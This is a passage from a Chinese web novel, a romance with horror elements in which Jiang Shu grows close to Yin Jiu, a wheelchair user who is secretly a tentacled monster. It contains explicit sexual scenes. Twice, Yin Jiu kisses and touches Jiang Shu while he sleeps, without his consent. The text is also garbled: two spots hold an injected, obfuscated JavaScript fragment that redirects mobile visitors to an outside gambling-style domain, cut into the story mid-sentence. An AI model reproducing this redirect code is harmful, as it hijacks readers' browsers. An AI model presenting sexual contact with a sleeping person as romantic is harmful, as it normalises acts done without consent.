殷咎终于把手指收回来,水渍沾得指尖亮晶晶,还晶莹地往下滴,江树看到脸都红透了,连忙要拿袖子给殷咎擦,殷咎却先他一步将手指送到自己唇边,舔掉了那要掉下去的水渍。 他猛地从殷咎腿上弹起来,不敢再直视殷咎,“我要回房间睡觉了,你也早点睡!” 殷咎什么也没说,看着江树逃上楼,他一点一点舔干了手指,然后捂在鼻间用力深嗅。 ……你真的好香啊……宝贝…… 江树上楼的一刻,他浑身闪起一片腥红,轮椅下炸出了一堆疯狂胀缩的触须,全部追向了江树的方向,可是半路又全部收回来,他消失在餐厅里,只留下空空的轮椅。 回到房间,江树立即把门锁起来,他平时很少锁门,可殷咎如同今天再进来,他真的不知道该怎么办,低头瞟了眼裤子里面,他没管,逃避地把自己藏到了被子里。 然而,他还是忘不掉刚刚的画面。 他纯洁无瑕的咎哥到底在做什么!怎么可以做那种事!多脏啊! 可是,他一边觉得脏,又一边控制不住自己的反应,把脸埋到了枕头里,小声地叫着“咎哥”,最终还是把手伸了下去。 这一刻,江树觉得自己下流极了,但他阻止不了自己,微微张着嘴唇像是还能舔到殷咎的手指,又仿佛是和殷咎的舌头舔在了一起,而他就靠这样把自己弄结束了,然后脸捂在枕头里反省。 ——咎哥,对不起,我是个变态。 等到江树睡着,殷咎又出现在江树的房间,江树不知又在做什么梦,梦呓着叫他。 “咎哥——好甜……” 他就像被狐狸精迷惑的书生,不自觉地上了床,隔着被子趴在了江树身上,盯着江树的轻轻启阖的唇他贴了上去。 这一次江树没的抵抗他,反而主动伸出了舌头,湿热的软肉碰到他的瞬间,他的理智差点就断的了,他极度克制地追上去,小心地像含一块吃完就再也没有糖,温柔地吮着江树笨拙的舌头。除了这样他不敢再伸入,移走了唇,身上的人还满地哼了哼,于是他又把手指喂了进去。 江树湿热的舌头卷着他的指尖,他移下去扒开了江树身上的被子,嗅了江树浓郁的香气,他抬眼望向睡得迷蒙的人温柔地动起了口。 这一晚江树又做了乱七八糟的梦,醒来裤子里倒是什么也没有,他觉得可能是他昨晚自己动过手的功劳,竟然觉得他有点可惜。 换好衣服下楼,他在楼梯上面就看到了殷咎在楼梯下,远远地望着他,对他微笑。 他心跳冷不防地咚咚直跳起来,连忙掩饰地避开殷咎的视线,可是双腿还是不自觉地朝着殷咎飞奔下去。 平常早上殷咎都是在餐厅等天,今天竟然在楼梯这里等他。 他险险撞到了殷咎,拉到旁边的栏杆才停下来,有些狼狈地对殷咎笑了笑,“咎哥,你怎么在这里?” “吃完饭带你去个地方。” 江树推起殷咎往餐厅走,在后面问:“去哪里?” “到了你就知道了。” 吃早餐时,江树就开始想殷咎要带他去哪里,从带他去玩,到带他度假,再到带他去约会,甚至想到了他们要是住酒店时只剩一个房间了,要怎么办。 等吃完饭后,管家已经给他们收拾好了行李,送他们上车,一路开了四个多小时,最后到了一个山村。 车开进村子江树才发现这里不是真正的村子,是在景区旁边的一个楼盘,建筑风格仿了农村小楼的样式,在清静的山谷里依溪而建,两边是层层叠叠的梯田,完全就如他哥给他描述过的样子。 “咎哥,你怎么会带我来这样的地方?” 江树惊喜地把视线从窗外挪到殷咎脸上,殷咎看着他回答:“喜欢吗?” “嗯,我哥肯定更喜欢。” 殷咎脸上的笑意一下淡了下去,江树蓦地脑袋一歪,靠到了他肩膀上,手伸来用指尖轻轻挠着他的手背说:“咎哥,你跟我哥不一样。我已经再也见不到我哥了,可是我会永远都在你身边。” 他沉默地如同没有反应,只是被江树挠着的那只手翻过去,一下抓住了江树撩人的手,紧紧捆在他手心里。 然而江树立即把另一只手伸过来,接着挠,他侧眼看不去,做怪的人就对着他一笑,让他什么脾气都没了,忍着,由他。 车停在了一栋非常有风格,又显得格外简朴的小楼前,江树比司机还快一步,推出来轮椅接殷咎下车。 殷咎刚刚坐好他就推着殷咎进屋,双眼四处打量,“咎哥,这是旅馆吗?” “送给你的。” 江树愣了一下,立即俯身凑到了殷咎脸边,“是不是管叔跟你说的?” 殷咎没有回答这个问题,管家把他们的东西送到了房间,又单独拧下来一个箱子,江树认出来那个箱子是他的,里面装的都是他哥留下的东西,他不解地向殷咎看去。 “我拿他的东西,你不高兴了?” 殷咎把轮椅转向了江树,握着江树的手颇有质问的意思,江树确实不想他哥的东西被人随便动,但是对着殷咎的双眼他很没出息地摇头了,问殷咎,“你把他的东西带来干什么?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15482948|167938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“他不是喜欢有梯田的山谷吗?” 江树越加莫名其妙,殷咎又说:“跟我去看了你就知道了。” 他又推着殷咎出去,殷咎把他指到了村子外面的一处山坡后面,位置一眼望出去都是梯田,而在那位置是一座修得气派十足的坟。 走进了他才看清坟的墓碑上面是他哥的照片,就是他房间的那一张。 他站在墓碑前吸了吸鼻子,转向殷咎时眼泪掉了下来,接着蹲到了殷咎的轮椅前,趴在殷咎腿上哭着说:“咎哥,你为什么这么好!我哥也一定会感谢你的。” 殷咎伸手摸到了江树的头发,江树的眼泪滴在他裤子上,渗透面料沾湿他的皮肤,他指尖抹掉了江树眼角的泪珠说:“我不好。” 他希望江树把那个占据了江树前面十几年的人埋了,之后再也不要想起来。 江树抓到了殷咎给他擦眼泪的手,目光抬上去对着殷咎,悄悄把指尖凑在了唇边轻轻地碰了一下,立即红了耳朵说:“你好。咎哥是世上最好的人。” 他说完冲天炮一样蹭起来,放开殷咎去把箱子拿过来,他哥永远留在了那座小岛上,他能带他哥离开的,只有他哥的几件东西。 箱子打开,他一件一件地拿出来,有他哥攒了一年的钱买来的二手老式游戏机,有他哥不舍得给他看的漫画书,有他哥记满了对未来规划的笔记本。 看到笔记本上他哥最后一条条的计划,写着在大陆找到工作,租好房子,就回来接他,里面还夹着580块钱,他知道是他哥攒的,可是再也没有机会用上了。 “好了,别想了。” 殷咎把轮椅开到江树旁边,江树转过身又趴到了殷咎腿上,放声大哭出来。 等江树哭够了,他把所有东西都放回箱子埋进坟里,仿佛与他哥真正地告别。 看着箱子慢慢被掩进土里,他脑中是他哥骑着快要散架的自行车带他飞驰在海边,是他哥和他一起坐在码头跟他说总有一天他要离开再也不回来,是他在最绝望最难过的时候告诉他再坚持一下,他很快就会长大,长大了他就能离开那个鬼地方,永远离开他的养父母。 “哥,你也一定离开那里了吧。” 最后,江树跪在坟前烧纸的时候,突然问殷咎,“咎哥,那个杀了我哥的魆……他有爱我哥吗?不是骗他,不是为了‘吃’了他,真正的爱上过他。” “有。” 殷咎这一声很笃定,江树不信,“你怎么知道?你又不是祂!” 他盯着江树沉默,江树没听到他的回答向他看来,“你是不是为了安慰我,故意这么说的。” “不是,因为我知道。” 江树感觉殷咎这话很奇怪,可是殷咎不肯告诉他为什么知道,他烧完纸发现对面有一个比他哥这更加气派的坟,如果他哥是十足气派,那对面那个就有“百足”了。 他很不服地问:“咎哥,对面那个坟是谁的?修得跟宫殿一样!” “我的。” 江树听到这两个字懵了,朝殷咎盯过去,殷咎认真地对他说:“等我死了,你就把我葬在那里。以后你就可以不用麻烦跑两处上——” “呸!呸!呸!” 江树连忙过去捂住了殷咎的嘴,“你不要胡说,你怎么会死!你还这么年轻!” 殷咎把江树的手摘下来,“我是说如果。” “如果也不行!” 江树这回主动地爬到了殷咎的轮椅上,贴着殷咎的胸口抱过去,坚决地说:“ 咎哥,你一定可以长命百岁,一定要长命百岁……不然、我怎么办!” 殷咎僵了一下,随即双手用力地把江树箍进了他怀里,他把脸埋到江树颈间,疯了般嗅着江树特独的味道,假装不经意的用唇去碰江树的脖子 ,再用力将他愣得更紧。 江树感觉到了,殷咎唇的触感和那天吻在他手心里一样,柔软,微微发凉,可是气息却很烫人,烫得他整张脸都红起来。 可是他没有推开殷咎,而是故意地歪起头,把脖子完全露给殷咎,他感觉到殷咎的动作怔了一下,下一刻殷咎真正吻在了他脖子上。 16.第 16 章 # 016 山涧的风卷着一股自然的草木香拂过来,江树紧紧了抓住了殷咎颈间的衣服,脖子上从未有过的触感,一刹间放射遍了他全部的感官神经,他不自觉地发出了一声极轻的吟哼。 殷咎紧勒着他腰的一只手,缓缓地移上来,如同在安慰他,轻触到了颈后,修长的手指跨到了他的耳朵。他不知道是殷咎被他红透的耳朵烫到了,还是他被殷咎的指尖冰到了,他和他咎哥同时微颤了一下。 再接着殷咎扣住了他的后颈,迫使他仰起了头,殷咎本来在颈侧若真若假的吻移向了他的喉结,湿软发烫的舌头直接舔上了他的咽喉。 他不由地把手攥得更紧,轻喃地叫出一声。 “……咎……咎哥……” 殷咎听到了他的声音,动作微微顿了一下,又仿如没有听到,收起了舌头吮在他的喉结上,又将他仰起的头按下来,落在他喉结上的唇就一点一点往上移,翻过了下巴到了他唇边。 他视线撞上殷咎的一刻,感觉到了他们的呼吸交缠在一起,他想出声,可是唇仿佛一动就能和殷咎的碰在一起,下意识不敢开口。 殷咎抱住他的手狠狠用力地勒住了他,变得越贺烫人的喘息直接灌进了他嘴里,仿佛舔在他的口腔中。 可是他咎哥就这样僵住了,他不知道他咎哥是什么意思,也不知道该怎么办,他咎哥却突然推远了他,把他被弄乱的衣服抻平,然后如同刚什么也没做过一般问他。 “好了吗?好了我们就回去。” 他盯着他咎哥与平时没有区别的样子,脑子死机一样一片空白,机械地听话从他咎哥腿上下来,然后转到轮椅后推他咎哥回去。 村子不是真正的村子,来这里买房子的基本都是为了偶尔度假,入住率并不高。 回去的路上几乎没有碰到人,江树一路沉默地把殷咎推回了之前的房子,一进门他马上放开轮椅,“咎哥,我去下厕所。” 不等殷咎回答,他就往进跑去,结果跑错到了厨房又急忙退出来,发现殷咎直勾勾地盯着他,他尴尬地连忙移开。 这回终于找对了地方,他进去就把门锁上,凑到洗手台前拼命往脸上浇冷水。 他死机的脑子终于开始恢复功能,一眼看向的前面的镜子,发现脖子上有个浅淡的红痕,就是殷咎在他颈侧吻过的地方。 原来吻痕长这样。 他脸上刚降下去的温度“嗖”地一下又蹿上来,小心翼翼地碰了一下,不疼也不痒,可是他想起了殷咎吻在上面的感觉。 瞬间,他嘴角的笑意怎么也压不住地扬起来,他咎哥是喜欢他吧?是喜欢他吧?不喜欢他怎么会吻他! 他咎哥喜欢他什么?他什么都不会,没文化,没修养,其实他也不是不想去学江兴权让他学的那些,是他真的完全不懂。 但他咎哥那么优秀,那么完美,什么都会,还长得那么好看,人又温柔又善良。 他有什么值得他咎哥喜欢的? 江树突然对着镜子看他的脸,他很小的时候就知道自己很可爱,因为大人们总是一见他就露出喜欢的表情。只是这份可爱在他被卖到岛上后,就变得没用了。 后来回到江家,总是有人凑到他面前说些暧昧的话,他才意识到他长大了还是挺好看的。 他咎哥是不是喜欢他的脸,还有他的身材? 江树冷不防撩起了衣服,露出来清晰但很浅的腹肌,不好意思地抿着嘴自己摸了一把,还挺好摸的。 如果是他咎哥摸的话,应该也是这种感觉,应该会喜欢的吧? 他摸着不自觉摸到了下腹,手被裤腰挡住,他立即低头拉开了裤腰看了一眼,虽然比不上他咎哥,但是应该还不错吧?他咎哥应该也—— “江树。” 殷咎的声音突兀在门外响起,江树还想继续摸下去的手僵住,慌张地往门看了一眼,确定是锁好的才回答:“咎哥,我马上就好了。” 他连忙转过去虚假地冲水,然后整理好衣服,再对着镜子收拾了一下他被风吹乱的头发,觉得他还行了终于去开门。 从门缝里钻进来的漆黑触须,悄无声息地退回去,江树打开门殷咎如常地坐在轮椅上望着他,还什么也没说,他自己先解释,“咎哥,我、热到了,洗了个脸。” “嗯。” 殷咎轮椅开上前,拉住他的手,他立即懂了他咎哥的意思,弯下腰去把脸凑近,殷咎擦了擦他脸上的水渍说:“你很好看。” 江树瞬间感觉他刚在厕所做的事全被他咎哥看到了,拂开殷咎的手连忙站起来,不好意思地说:“我才没有觉得我帅。” 殷咎被他逗笑了,肯定地说:“是我觉得。” 他咎哥真的是喜欢他的脸,他不知为什么喜悦中有点失落,果然他没有别的值得他咎哥喜欢。 “怎么了?” 殷咎看着江树一瞬间又垂下了视线,江树突然蹲到了轮椅前问他,“咎哥,你觉得我除了帅,还有什么优点?” 这个问题殷咎难住了,他眼里江树没有优点,也没有缺点,只有江树这个存在,无论是什么样,江树就是绝对的。 可江树看殷咎半天没说出来,觉得果然他除了脸还行外,没有别的优点,顿时趴到了殷咎腿上,抱着殷咎的腿使劲地晃起来,“咎哥,你再想想!快点想,我还有什么优点?” “你现在这样就是优点。” 殷咎一本正经地说出来,江树听懵了,仰起头问:“我现在怎么样?” “撒娇耍赖的样子,特别可爱。” 江树一怔,脸红了,低头一口咬在殷咎的腿上,然后气哼哼对着殷咎问:“我咬你也可爱吗?” 殷咎被咬的地方差点崩出了几条触须,他忍下去,若无其事地回答江树,“嗯,再咬一次。” 江树这回没咬他的腿,抓起他的手,一口咬在了他的手上,可是咬着他自己意识到了问题,就那么含着他的手僵住了,好一会儿才把嘴撤走,可看到沾到了口水,又倏地舔过来。 “老板,您让准备的——” 管家进门先是看到了殷咎背影,以为就殷咎坐在那里,可是走过去才发现江树蹲在轮椅前面,捧着殷咎的手在啃,他登时优雅掉了一地,惊恐地话锋一转,“——夫人,您不要这样,太危险了?” 江树完全没听管家说了什么,满脑子只有被人看到了,被人看到了。 他一下扔了殷咎的手蹭起来,狡辩道:“是咎哥的手受伤,我在给他消毒。” 殷咎把手收回来,克制地凑到了唇边,在江树舔过的地方又舔上去,尝到了江树的味道。 然后他转过轮椅,正经无比地对管家说:“对,我的手受伤了,江树在给我消毒。” 管家信鬼话也不信这,可是殷咎都这么说了,他不敢反驳,捡起他碎成一地的优雅回答:“好的,老板,夫人,您们请继续。” 江树看到管家走了才瞥过视线去看了眼殷咎,正好他咎哥也向他看来,他羞耻地想找个地方钻进去,可是又被殷咎的目光勾住了,一眼不眨地对着他咎哥挪不开眼。 殷咎安慰地拉起他的手说:“没事,管家他不会怀疑的。” 他点了头,殷咎突然把手举到他眼下,“你还要给我消毒吗?” “我——” 江树望着殷咎的手,上面残着他的口水,脑中一瞬间又想起殷咎自己动手的画面,他立即回去卫生间,弄了一块湿毛巾出来给殷咎擦手,擦到最后他咎哥不知在想什么,不停偷笑。 今天的天气不错,阳光铺满了整个山谷,村子里到处都能听到鸟叫,江树给殷咎擦完手,推他去村子里散步,大概了解了一下村子的布局。 路上遇到村子的管理员,告诉他们每栋房子的住户,在村子外面都有一块田,可以自己种点蔬菜水果什么的。 江树在海岛长大,岛上的土地有限,而且气候也不合适,十几年他几乎没有见过什么蔬菜水果,回到江家也从来没有见过蔬菜水果长在地里什么样,他好奇地想要去体验一下种田。 管理员说:“如果你们不能长期住这里,我们可以代为照看,等成熟了也可以给你们寄过去。” “咎哥,我们去试试嘛!我哥以前给我看水果的图,但是好贵,那时我都买不起,就想要是我能自己种就不用钱买了。” 江树又晃起了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15492769|167938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 殷咎的轮椅,管理员立即又向他们推销,“如果你们没经验,我们有专门的人可以教的。” 最终殷咎还是被江树推着去了,管理员说的专门教的人,实际就是附近真正村子的农民。 开春的季节正好是很多蔬菜开种的时候,殷咎的轮椅不方便,被江树小心地停地在路上,他就在一旁看着江树认真地跟农民老师学种地,弄得满身汗水和泥,还抬起头来对着他笑。 有那么一刻,他似乎真正体会到做为“人类”的感受,短短几十年的生命,每一天都很珍贵,所以人类总是不停地去做他们想做的事。 太阳西落地时候,江树终于种完了他的地,擦了擦满是泥的手到他面前说:“咎哥,我种了番茄,黄瓜,茄子,还种了草莓,等几个月就可以吃了,我们再来好不好?” 他抬头望着江树,突然意识到他即使忍住了,江树也健康平安,但是在几十年后,江树还是会离开他。 “江树——” 殷咎突然语气沉重的叫了他一声,江树没明白他咎哥突然怎么了,就被殷咎捞过去跌在了他身上。 他举着满是泥的手问:“咎哥,你怎么了?” 殷咎不回答他,只是用力把他箍得更紧了,像要将他们焊在一起。 一旁收拾水桶和锄头的农民伯伯呆滞地看着两人,他以为两人是兄弟,只是兄弟抱得这么紧实在有点怪。 他挑着水桶转过去,猛然看到殷咎吻在江树的脖子上,惊得他差点摔倒,连忙挑着水桶走了。 晚上他们就住在村子里,没有江树想象的只有一个房间,和在家一样,二楼两间卧室,殷咎又把主卧让他住。 他去洗澡时才想到,他前天跟管家说要给他哥买墓地,他咎哥昨天就把坟建好了,连他上坟住的房子都准备好了,是不是太快了? 他哥的坟看起来是新建的,但房子里的家具不像刚装好的。 可能房子本来是别人住过的,他咎哥从别人手里买过来的,家具这些都没换。 江树没有多想,他洗完澡就跑去了殷咎的房间,习惯性的直接推门,可想起上回的事,他把推开的门又倏地关回来,然后敲了敲。 “咎哥,你在干嘛?” 他问完了才意识到刚开门的瞬间,房间时好多有点奇怪,灯光是红色的,而且还红得特别诡异,完全不像是灯光。 他咎哥房间怎么会是这种颜色的东西? 江树歪着脑袋疑惑,门打开了,房间里的灯光是正常的,没有哪里是红色。 殷咎端正地坐在轮椅上,“怎么了?” 他觉得是他看错了,直接进去把殷咎推到床前,“我来帮你按摩,这么多天没有按过,你是不是很不舒服?” 殷咎没回话,任江树把他搬到床上,拿枕头给他靠好,然后跪到了旁边开始一边按,一边唠叨。 “咎哥,你怎么找到这个地方的?是不是管叔告诉你的?” 殷咎不知是不是回答他的嗯了一声,江树也没在意地继续说:“我觉得这里挺不错的,我们以后经常来好不好?” “嗯。” “那下次我们什么时候来?今天的伯伯说过两个月番茄就开始结果了,我们那时就来好不好?” 江树说完,殷咎又只回了一个字,“好。” “咎哥,你就不能多说一个字?” 他终于有了意见,不满地向殷咎看去,发现殷咎的目光注视着他的手,他才意识到他已经按到了殷咎的大腿上侧,顿时再也无法忽略手下的触感。 明明他给殷咎按了这么多么次,可一旦意识到这是殷咎的腿他就回不去以前了,控制不住想这是他咎哥的腿,摸起来和他的不一样,他一寸一寸往上,终于到了大腿的根处,再往上挪一根手指的距离,他就能碰到殷咎。 登时,江树僵住了动作,好半晌他才抬起眼向他咎哥看去,他咎哥看起来像什么感觉也没有,只是双眼直直地注视着他。 过了半晌,殷咎突然拉住他的手,把他往上一拽,他整个人扑在了他咎哥身上。 殷咎的手搂过来紧紧地扣着他,一本正经地对他问:“怎么不按了,我没有喊停。” 17.第 17 章 # 017 山村里的夜晚更加宁静,仿佛世界此刻只剩下了房间里旖旎的气氛,江树贴着殷咎的胸口,突然想到到之前每次殷咎按到这里就让他停,是不是也是因为他离得太近。 轻薄的衬衣完全隔不住殷咎的体温,他脸被烫得更热了,反应过来他们的姿势,连忙想推开殷咎起来。可一动发现他刚好和殷咎撞在了一起,登时又僵住,不敢去看殷咎,盯着殷咎的喉结小声地说:“咎哥,放我下去——” “为什么?” 江树忽然发觉他咎哥也会使坏,他不信这样了他咎哥感觉不到为什么,还非要问。 他实在不好意思说,于是动了动表示为什么,然而这一动他把自己动出了反应,瞬间更不好意思看殷咎了,直接把脸埋到殷咎胸前,闷着声音说:“放我下去。” 殷咎的手紧紧贴着江树的腰,下意识压着江树往下按,江树微微地在他身上颤了颤,胸口全是江树灼热的呼吸,到明显感觉到江树的变化,他才终于松开手。 江树立即爬起来,不敢看他一眼地翻下床,穿错了一只鞋冲出去。 听到门被甩上的震响,他再也无法克制,一刹间失去了人形,房间里只剩下一堆腥红的触须,疯狂地相互摩擦蠕缩,如同真的虷犯了江树的身体。 江树回到房间又去洗澡,可是洗不下身体的悸动,只好变手动。他满脑子都是殷咎,不好意思面对就手臂挡着眼睛趴在墙上,没有发现整栋房子都被触须塞满了,一条接一条的触须爬到了浴室的门上,层层叠叠挤压在一起瞬间把浴室包裹得密不透风,而腥红的触须对着门里疯狂地蠕耸,像极了某种交.媾的动作。 房子外面的马上,一辆黑色的车停在一棵树下,里面的人注意到房子里隐约着着一层若有似无的诡异红光。 驾驶座的一人连忙对副驾的人说:“你有没有感觉到不对?” 副驾的人把头伸到车外向房子看去,他有种难以形容的恐惧感,像房子里藏着什么可怕的存在,可房子里现在应该只有江树和殷咎,他想不通地说:“我刚上厕所是不是有什么进去了,你没看到?” “你怀疑我也,也不要怀疑我的业务能力,而且反应器也没反应。” 副驾的人瞟了一眼递过来的反应器,确实一点反应也没有。 绝大数魆本体都是诡异的怪物形态,顶多是身形巨大,破坏力强。 但有少部分魆拥有远超科学能解释的能力,这些拥有特殊能力的魆蜕化后,他们会回收魆骸,通过一些方式将祂们的能力提取出来,再制成武器。 这个反应器就是用曾经某个魆的能力制作的,只要魆蜕骸就能感应到。 不过提取出来的效果,即使已经更新到第四代,仍然远远低于魆本身使用的效果。但理论上等级越高的魆,反应越强烈。 也就是说哪怕反应器不行,但魆越强大,越容易被感应到。 他吸起了一口凉气,给了反应器一巴掌,“难道江树身边还有别的魆?” 驾驶座人的手也一起挨了一巴掌,不满地收回来说:“那也不可能,我们一直守在这里,我确定现在房子里只有江树和他的霸总老公,总不能殷董事长也是魆吧?” “确实,怀疑财神爷不太礼貌。” 副驾的人推开车门,“我去看看,如果发生什么立即通知人来救我。” “别吧!” 驾驶座的人连忙横到了副驾,把已经下车的人拉住,“如果真的是魆,你这就是去送死,给周队打电话,叫他联系江树,问问有没有什么事。” 江树房间里,江树脱下的衣服堆里突然响起了手机铃声,已经从缝隙里挤进浴室的触须蓦地僵住。 铃声坚持不懈地不肯停下,触须终于收缩回来,全部汇集在了江树的衣服前,最后变成了殷咎。 他身上什么也没穿,漫不经心地拿起手机,看到屏幕上的名字写着“怪物协会队长”,眼神充满了杀意,忍耐了好几秒最终接起来。 “江树,你出什么事了吗?” 周倚龙急切地问出口,可是听筒里却传来殷咎的声音,反问他,“他应该出什么事?” 他没听过殷咎的声音,但这个时间能接到江树电话的,应该只有殷咎。他也不知道江树给他存了什么名字,只能随口编道:“抱歉,这么晚打扰你们了,我是因为海湾度假村那天的事,有些关于江于思的情况想问问江树,如果他现在没空的话,我明天再打电话。” “明天不要太早。” 周倚龙仿佛没听懂,他以为殷咎至少会谴责他一下,或者怀疑他找江树是不是因为蜕骸者的事,结果殷咎只关心他电话不要打太早?可是殷咎说完就挂了,不给他再打听的机会。 不过殷咎这么不慌不忙,应该江树没什么事,他立即给蹲点的人回去电话。 第二天江树果然睡到了很晚,主要是因为他把自己折腾到了很晚,也不知道是认床的原因,还是别的,他在床上翻来覆去到凌晨都没睡着。 他甚至想偷偷跑去殷咎的房间,和殷咎睡一觉,等天亮他咎哥醒之前,他再偷偷回来,神不知鬼不觉。 不过他也只是想想,没敢实践。太阳已经升到了屋顶,他抱着被子在床上滚了好几圈,猛然弹起来。 ——今天要上班! 他连忙去找手机,这时房门被推开,殷咎的轮椅进来,知道他在想什么一样说:“给你请假了,今天不用上班。” 江树立即松了口气,然后看到他的手机在殷咎手里,光着脚就跳下床,一个没站稳跌在了殷咎身上,拿回了手机说:“谢谢咎哥。” 实际上他可以稳住不跌的,但身体完全不管脑子,自己就跌了下去,还在殷咎身上滚了一圈,起来他都没脸红,脸皮很显然已经比昨天厚了。 不过他还是有点心虚,小心地瞟着殷咎问:“咎哥,你怎么不叫我?吃早饭了吗?是不是在等我?” 殷咎盯着江树光着的脚说:“把鞋先穿上。” “哦。” 江树一般除了殷咎没人给他打电话,拿到手机也没看一眼,旋了一个圈把拖鞋穿好,接着又旋到了殷咎轮椅后推着他冲出去。 殷咎猝不及防差点以为要撞在门上,结果江树又及时停住了,把门打开才继续推他出去。 他们下楼吃了一顿不知该叫早餐还是午餐的饭,江树去和他哥告了别,终于收拾东西回去。 回到家后,江树感觉什么都没变,可又有什么变了,他控制不住目光时时刻刻落在殷咎身上,就算殷咎只是不见了几分钟,他也要去找人。 他还喜欢有事没事去拉殷咎的手,逮到机会就要抱着殷咎往他身上贴,而且变得脸皮越来越厚,他坐到殷咎腿上都不会脸红了。 晚饭过后,他和殷咎散完步回房间,他把殷咎送到了门口,看着轮椅进屋他下意识追了进去,还把门关上了。 殷咎转回来看来,“怎么了?” 他也不知道他怎么了,就是不想和殷咎分开,上前一步他一条腿跪到了轮椅上,双手抓住轮椅扶手倾向下去凑近殷咎。 这一系列动作他做得气势汹汹,他都以为他要去强吻他咎哥,结果他凑近了就只是凑近了,对着他咎哥动了半天唇什么也没说出来。 殷咎突然伸起手捋了捋他额前的头发说:“晚安,你该去睡觉了。” “我不睡。” 江树脱口而出,只是说完又不知道他到底想说什么,下意识压低身体,几乎贴到了殷咎地唇终于开口,“咎哥,可、可以给……给我一个、晚安吻吗?” 殷咎与他离得极近,只要殷咎稍微抬一下下巴,就能与他的唇碰在一起,可是许久殷咎都没有动。 他鼓起了勇气,紧紧捏住扶手,主动往下凑过去,就在他要吻到殷咎的一刻,殷咎双手按住了他的肩膀将他往后推,然后抬头吻在了他额头对他说:“晚安。” ——不是这样的。 江树一刹间失望到了极点,可是殷咎跟平常没有什么区别,像是完全不知道他想的是什么。 他松开紧握着扶手的手缓缓站直,伫在殷咎面前好一会儿才终于回出了一声,“咎哥,晚安。” 接着他逃一样跑回了自己房间,关上门就靠在门背后难过。 他咎哥真的不懂他的意思吗?明明在村里都吻他脖子了,那个吻痕都还有一点印子没消。 那他咎哥为什么要拒绝他?是不是其实不喜欢他,村子里只是逗着他玩的。 哪有这样逗人玩的,难道他咎哥其实是个花心的渣男? ——别乱想了! 江树双手捂住脸狠狠地搓了两遍,止住了心里的情绪,是他跟他咎哥说的要晚安吻,电视剧里晚安吻不都是在额头! 他强行让自己相信了这个理由,然后去洗澡睡觉,可是到了床上他还是忍不住回想,最后和被子打了一架,打输了他缩在被子下面难过,难过着就睡着了。 殷咎出现在床前时,江树还蒙在被子里,他上前轻轻把被子拉开,听到了江树含糊的梦话。 “……我、变态……咎哥不……讨厌、我……” 他拉着被子的手突然向床上的人抱过去,他俯身贴在江树的耳边说:“对不起,宝贝,是我不好。” “……那你、亲……我、就原谅你……” 殷咎不知道江树这是不是在回他的话,他轻柔地捧着怀里人的脸,指腹轻轻地从江树唇上抹过,他想要克制,想要忍住,可他还是低头吻了上去。 一开始他只是想就这样碰一碰,可是真的碰到了他又克制不住把指尖撬进了江树嘴里,然后他的舌头不听话地溜了进去。江树的舌头先是躲了躲,发出了不满的哼声,可接着就生疏地回应他,绕上他的舌尖缠上来。 这一瞬间他如同尝到了世上最诱人的毒.药,不由地更深地侵进江树口中,唇瓣相互挤磨在一起,水渍被挤出来发出了腻人的声音。 江树喉咙里猛不迭发出了闷声的呻吟,手朝着殷咎轻轻推了一下。 殷咎吓得一怔,连忙地退出来,看到江树没醒,只是睁了下眼又马上闭回去,嘴里喃了句什么。 他不敢再继续,小心擦掉了江树唇边的水渍,给他盖好被子消失在房间。 转眼他到了地下室,跌坐在椅子里,一动不动地枯坐到了天亮。 第二天早上,他听到江树下楼找他的声音,他捏紧了双拳,用力到手臂蜕化成了一条条堆叠在一起的触须。 “管叔,咎哥呢?” 江树找了一圈都没有看到殷咎,见了管家就问。 管家优雅恭敬地停在他面前说:“老板说他先去上班了,集团有急事。” 之前听到这个理由他就信了,可今天他忍不住怀疑他咎哥是不是不想见到他,故意先走的。 可是他不敢去问,只好答应就是真的,一个人随便吃了几口也去上班。 吴子涵三天没有见到江树,一见到就发现江树整个蔫得像失恋了,看他连眼皮都懒得抬,他好奇地问:“发生什么了?你这三天干嘛去了?” 江树斜眼瞟了瞟吴子涵,继续摊成饼说:“我感觉我好像恋爱了,但我还没开始真的谈,又失恋了。” 吴子涵震惊这复杂地情况,“我该怎么理解?你都结婚了,要怎么恋,又怎么失恋?” 江树立即嫌弃地背对他,不想跟他说了的态度,他连忙绕过去,又对着江树问:“我不开玩笑,说说,发生了什么?我帮你想想。” 犹豫了好几遍江树才说出口,“我好像真的喜欢我咎哥,不是兄弟的喜欢,可是、我不知道他是不是喜欢我……不,是他肯定不喜欢我,他……” 江树不好意思说他索吻失败这种糗事,把这句哼了过去,继续说:“他那么厉害,人又那么好,我都没有什么值得他喜欢的。” 吴子涵终于听懂了,一巴掌拍在江树肩膀上,“谁说的,光凭你这么帅,他就没理由不喜欢你。” “他更帅,而且长得帅又不稀奇。” 从来没被人夸过帅的吴子涵深深地受伤了,他忍着伤痛安慰刺伤他的人,“你别这么想嘛,反正你们都已经结婚了,直接表白,说你喜欢他。” “万一他说他不喜欢我,要跟我离婚怎么办?” 吴子涵体会到江树真的恋爱了,只有满脑子恋爱的人才会这么瞻前顾后,他本做师兄的情意凑近过去,小声说:“要不你去勾引他试试,他上勾嘛就是成了,不上那也不用说破,你们还可以做好兄弟。” “啊——” 江树张着嘴好半晌才理解了吴子涵的意思,然后更加小声地问:“怎么勾引啊?” 作为理论军师,吴子涵也不知道,但他有办法,“等等,我给你找两部片子。” 快下班的时候江树收到了吴子涵给他找的片子,他好奇 